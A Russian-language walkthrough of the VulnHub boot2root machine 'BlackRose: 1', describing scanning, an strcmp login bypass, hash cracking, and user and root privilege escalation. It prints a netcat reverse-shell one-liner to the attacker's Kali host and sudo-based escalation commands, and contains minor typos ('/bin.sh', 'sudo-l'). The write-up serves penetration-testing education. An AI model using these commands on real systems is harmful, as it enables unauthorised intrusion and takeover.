BlackRose: 1. Пошаговое руководство

Дата: 10.09.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности
BlackRose: 1. Пошаговое руководство

В этой статье пойдет речь о задаче boot2root под названием «BlackRose: 1». Ее можно проверить на VulnHub во время тестирования на проникновение. Читатели подробно узнают все нюансы данной задачи.

Следует также упомянуть BadLamer, который и создал эту виртуальную машину. Пора начинать и понять, как ее взломать.

Уровень сложности: высокий.

Пошаговый разбор

Знакомство

Итак, пользователь начнет с запуска «nmap» и так называемого «агрессивного сканирования», чтобы захватить порты включенной операционной системы с различными версиями программного обеспечения, скриптами и трассерами.

nmap -A –p- 192.168.1.21
BlackRose: 1. Пошаговое руководство

Перечисление

При входе на сайт пользователь познакомился с особой системой аутентификации, которая, таким образом, позволяет ему ввести некоторые учетные данные или зарегистрироваться на ресурсе.

BlackRose: 1. Пошаговое руководство

Кроме этого, пользователь заметил фоновое изображение за табличкой со входом в систему, поэтому он загрузил его, чтобы проверить, содержит ли оно какую-либо конкретную информацию или нет. Когда человек отслеживает все это с помощью инструмента «steghide», он понимает, что ему не хватает ключа, чтобы расшифровать полученную информацию.

BlackRose: 1. Пошаговое руководство

Применение

После попытки избежать заполнения форм с помощью других методов пользователю стало ясно, что этот сайт уязвим для «strcmp».

Нужно зафиксировать этот запрос в burpsuite и проверить, что пользователь может получить в его ответе.

Запрос Burp:

BlackRose: 1. Пошаговое руководство

Ответ Burp:

BlackRose: 1. Пошаговое руководство

Отлично!! Пользователь выполняет полученный ответ в его веб-браузере и обходит административную панель в качестве пользователя «аdmin». Это грандиозный успех!

BlackRose: 1. Пошаговое руководство

Теперь стоит двигаться дальше к своей цели: внутри панели пользователь получил хэш для «bcrypt», а также видит поле для ввода команд. Но если он попытается выполнить команду «ls», система снова выдаст человеку ошибку.

Необходимо попробовать взломать этот захваченный хэш с помощью уже наверняка известного John The Ripper. Как и в результате выходных данных, пользователь может увидеть, что он получил команду «whoami».

BlackRose: 1. Пошаговое руководство

Теперь пользователь попробует выполнить команду «whoami» в веб-приложении.

BlackRose: 1. Пошаговое руководство

Все получилось. Поскольку пользователь точно не знает о функциях приложения, нужно попробовать сгенерировать хэш для «bcrypt» с помощью команды, которая позволит человеку вызвать обратный shell из его машины Kali.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.22 1234 >/tmp/f
BlackRose: 1. Пошаговое руководство

Теперь пользователь установит и активирует листенер netcat на порту 1234. Ему также следует изменить хэш поля и переписать команду:

BlackRose: 1. Пошаговое руководство

Отлично!! Пользователь успешно захватил Shell жертвы.

BlackRose: 1. Пошаговое руководство

Повышение привилегий (пользователь «delx»)

Таким образом, с помощью python пользователь будет использовать интерактивный Shell. Настало время получить привилегии пользователя «delx».

Для этого человек выполнит команду «sudo-l» и проверит, может ли он использовать двоичный файл под названием «ld.so». Это очень важный момент:

sudo -u delx /bin/ld.so /bin.sh

На приведенном ниже изображении пользователь может увидеть, что он получил Shell вместе с юзером.

BlackRose: 1. Пошаговое руководство

Когда пользователь будет проходить через файлы пользователя «delx», он столкнется с тем, что есть каталог «.ssh». Следует скопировать файл «id_rsa» и попробовать взломать его с помощью «ssh2john», John The Ripper и словаря rockyou.

BlackRose: 1. Пошаговое руководство
BlackRose: 1. Пошаговое руководство

Отлично!! Теперь пользователь способен подключиться через SSH!

BlackRose: 1. Пошаговое руководство

Повышение привилегий (пользователь «yourname»)

Необходимо просмотреть файлы, которые были доступны для пользователя «delx». Во время этой процедуры пользователь наткнулся на двоичный файл под названием «showPassword».

BlackRose: 1. Пошаговое руководство

Таким образом, этот двоичный файл будет использоваться для проверки пароля и расшифровки содержимого, отмеченного зеленым цветом.

BlackRose: 1. Пошаговое руководство

Пользователь также проанализирует этот код с помощью Ghidra (можно использовать не только этот инструмент), проверит его декомпилятор и перечислит пароли внутри него.

BlackRose: 1. Пошаговое руководство

Человек обратно возвращается к двоичному файлу, вводит пароль и проверяет, правильный он или нет.

BlackRose: 1. Пошаговое руководство

Стоит попробовать расшифровать содержимое с помощью некоторых онлайн-инструментов. В данном случае человек использовал шифрование AES для этих целей. На приведенном ниже изображении можно увидеть, что теперь у пользователя снова есть один зашифрованный текст для получения информации.

BlackRose: 1. Пошаговое руководство

После тестирования этого ключа со всеми 3 пользователями он не сработал ни для одного из них. Читатели помнят то фоновое изображение, которое пользователь скачал в самом начале?

Нужно попробовать задействовать его.

blank

Проверив все возможные методы, пользователь, наконец, расшифровал пароль и получил «ROT47».

blank

Теперь следует использовать полученный пароль для пользователя «yourname». Хакер наконец-то захватил флаг для «user.txt».

blank

Повышение привилегий (root)

Следует запустить «sudo-l» и перечислить скрипт, который пользователь может выполнить как «root».

Когда человек попытался выполнить его, ему было выведено следующее сообщение: «Invalid file read».

blank

Понятно, что у человека нет доступа к скрипту, но также ясно, что он может быть отфильтрован расширениями.

После попытки прочитать различные расширения, пользователь находит одно, которое сработало, то есть «PHP».

blank

Как можно увидеть, скрипт проходит фильтр расширения, но не открывает свое содержимое. Это может быть связано с тем, что скрипт имеет функцию «WAG» и фильтрует некоторые слова.

После некоторых действий была изменена концепция, и пользователю удалось обойти «WAF».

blank

Ну что ж, не стоит больше тратить время, а сделать «/bin/sh» для того, чтобы захватить Shell Root и прочитать содержимое файла «root.txt».

blank

Автор переведенной статьи: David Utón.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *